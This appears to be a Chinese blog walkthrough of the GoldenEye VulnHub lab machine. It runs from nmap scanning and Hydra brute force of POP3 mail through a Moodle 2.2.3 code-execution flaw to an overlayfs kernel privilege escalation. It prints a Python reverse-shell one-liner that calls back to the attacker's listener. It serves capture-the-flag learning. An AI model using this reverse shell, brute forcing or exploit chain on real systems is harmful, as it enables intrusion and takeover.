GoldenEye靶机详解


靶机基本信息

靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/靶机发布日期:2018年5月4日 靶机描述:靶机命名来自詹士邦系列的电影——GoldenEye 目标:得到root权限&找到flag.txt

主机发现

命令sudo arp-scan -l,作用是扫描本地局域网的IP+MAC

确认靶场IP地址为192.168.255.185

也可以通过使用nmap进行主机发现

nmap命令参数-sn-sP 这两个参数都是只利用ping扫描进行主机发现,不扫描目标主机的端口

信息收集

可以发现靶场开发了25和80端口

nmap命令参数解释:

  • -sS :TCP SYN扫描,半开放扫描,速度快隐蔽性好(不完成TCP连接),能够明确区分端口状态

  • -sV :进行服务版本探测

  • -T<0-5> :设置时间模板级数,在0- 5中选择。T0、T1用于IDS规避, T2降低了扫描速度以使用更少的带宽和资源。默认为T3 ,未做任何优化。T4假设具有合适及可靠的网络从而加速扫描。T5假设具有特别快的网络或者愿为速度牺牲准确性

  • -A :同时启用操作系统探测和服务版本探测(万能开关)

简单的端口扫描:

可以发现还开放了55006和55007端口

访问http://192.168.255.185

翻译一下:

TOP SECRET ACCESS 绝密访问

Accessing Server Identity 访问服务器身份

Server Name 服务器名称

Naviagate 导航

大概的意思:你需要账户密码才能访问GOLDENEYE服务器,从/sev-home/这个目录进入登录

访问http://192.168.255.185/sev-home/

需要账户密码才能进入

开始进行信息收集:

查看http://192.168.255.185的源代码

可以发现两个用户名:Boris、Natalya

&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;这串字符拿去html解码后得:

先翻译一下源代码中那段话的意思:

Boris, make sure you update your default password.

Boris,确保更新你的默认密码。

My sources say MI6 maybe planning to infiltrate.

我的线人说MI6可能打算渗透进来。

Be on the lookout for any suspicious network traffic

留意任何可疑的网络流量

BTW Natalya says she can break your codes

BTW Natalya说她能破解你的密码

通过以上信息,那说明InvincibleHack3r有可能是Boris的密码

尝试登录:

登录不进去,将Boris的首字母改成小写看看

登录成功:

再查看源代码看看:

翻译一下:

Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO)

由于您拥有访问权限,您肯定持有绝密许可,并有资格成为一名合格的GoldenEye网络操作员(GNO)。

is very effective, we have configured our pop3 service to run on a very high non-default port

非常有效,我们将 pop3 服务配置为在一个非常高的非默认端口上运行

从上面的信息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务,再结合之前的端口扫描结果,它开放了55006、55007两个端口,扫描这个两个端口开启的服务详细信息:

命令参数-p+端口 是指的端口扫描

通过的扫描结果信息,看出这两个端口开放了pop3的mail服务的,通过之前访问http://192.168.255.185/terminal.js页面,在注释中发现一条内容,指出目标系统正在使用默认密码。(注释内容://Boris, make sure you update your default password. )

尝试暴力破解:

在之前的信息收集找到的用户名"boris、natalya",通过Hydra暴力破解pop3服务:

将这两个用户名boris、natalya写入字典username.txt

开始爆破:

爆破结果:

用户:natalya 密码:bird

用户:boris 密码:secret1!

通过nc登录pop3查看邮件信封内容枚举:

user 用户名 --登录邮箱

pass 密码 --登录密码

list --查看邮件数量

retr 1~3 --查看邮件内容

两封邮件:

第一封邮件:娜塔莉亚,请你停止破解鲍里斯的密码。 此外,您是 GNO 培训主管。 一旦学生被指定给你,我就会给你发电子邮件。此外,请注意可能的网络漏洞。 我们获悉,一个名为 Janus 的犯罪集团正在追捕 GoldenEye。

第二封邮件:好的 Natalyn 我有一个新学生给你。 由于这是一个新系统,如果您看到任何配置问题,请告诉我或鲍里斯,尤其是它与安全有关的问题……即使不是,也只需以“安全”为幌子输入……它就会 轻松升级变更单:)
好的,用户信用是:用户名:xenia
密码:RCP90rulez!鲍里斯验证了她是一个有效的承包商,所以只需创建帐户好吗?如果您没有外部内部域的 URL:severnaya-station.com/gnocertdir
请务必编辑您的主机文件,因为您通常在远程离线工作…

由于您是 Linux 用户,因此只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com

设置本地HOST文件:

sudo vim /etc/hosts

添加:

192.168.255.185 severnaya-station.com

访问http://severnaya-station.com/gnocertdir地址:

该网站使用moodle,这是一个开源的CMS系统,需要使用邮件获得的用户密码进行登录

使用whatweb进行指纹识别:

点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:用户名:xenia
密码:RCP90rulez!

Home -> My profile -> Messages —>发现有一封邮件,内容发现用户名doak

使用Hydra爆破用户名doak的邮件

echo doak > username.txt —将用户名写入txt文本中

进行爆破:

登录doak用户枚举邮件信息

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。用户名:dr_doak
密码:4England!

使用新的账户密码登录CMS

登录后在:Home -> My home 右边发现: s3cret.txt

点击下载,查看内容:

访问页面:severnaya-station.com/dir007key/for-007.jpg

下载到本地:
wget http://severnaya-station.com/dir007key/for-007.jpg

exiftool for-007.jpg
strings for-007.jpg
用这两条命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==

base64解码:

获得密码,根据线索中,这是管理员用户的密码,使用管理员用户身份继续登录应用

用户名:admin
密码:xWinter1995x!

登录:

进去内容太多了,花了很多时间查看,和我前面使用dr_doak用户登陆邮箱发现的结果一致。

漏洞发现

这是Moodle使用的2.2.3版本,可以搜索了网上的可用漏洞。

Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

漏洞利用

此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。

这里使用MSF

可以使用这个模块 exploit/multi/http/moodle_cmd_exec

但是我的kali的MSF好像没有这个模块,这里使用另一种方法getshell

Toggle spellchecker

反弹shell代码:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.255.129",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

注意:192.168.255.129该ip为攻击机本地ip,6666为本地监听端口

本地监听成功:

伪终端:

python -c 'import pty; pty.spawn("/bin/bash")'

权限提升

uname -a :显示全部的信息,包括内核名称、主机名、操作系统版本、处理器类型和硬件架构等

搜索引擎搜索:Linux ubuntu 3.13.0-32 exploit
获得exp版本:37292

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

kali搜索:

然后把其复制到桌面

查看一下靶机有没有gcc环境:

靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译

第143行将gcc改为cc

在本地用python开启http服务,让靶机下载

靶机下载37292.c

编译:

给编译生成的可执行文件赋予权限:

执行,获得root权限:

查找flag,读取flag成功:

这个靶机打靶到此完成

免责声明:本文章涉及的知识和技能仅用于学习研究,如有用于非法途径或未被授权的真实网络环境,所造成的后果及连带责任自行承担,与本文作者无关,倡导把安全知识和技能用于正当、正规、正义的途径。


文章作者: 阿浩
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 阿浩 !
评论
  目录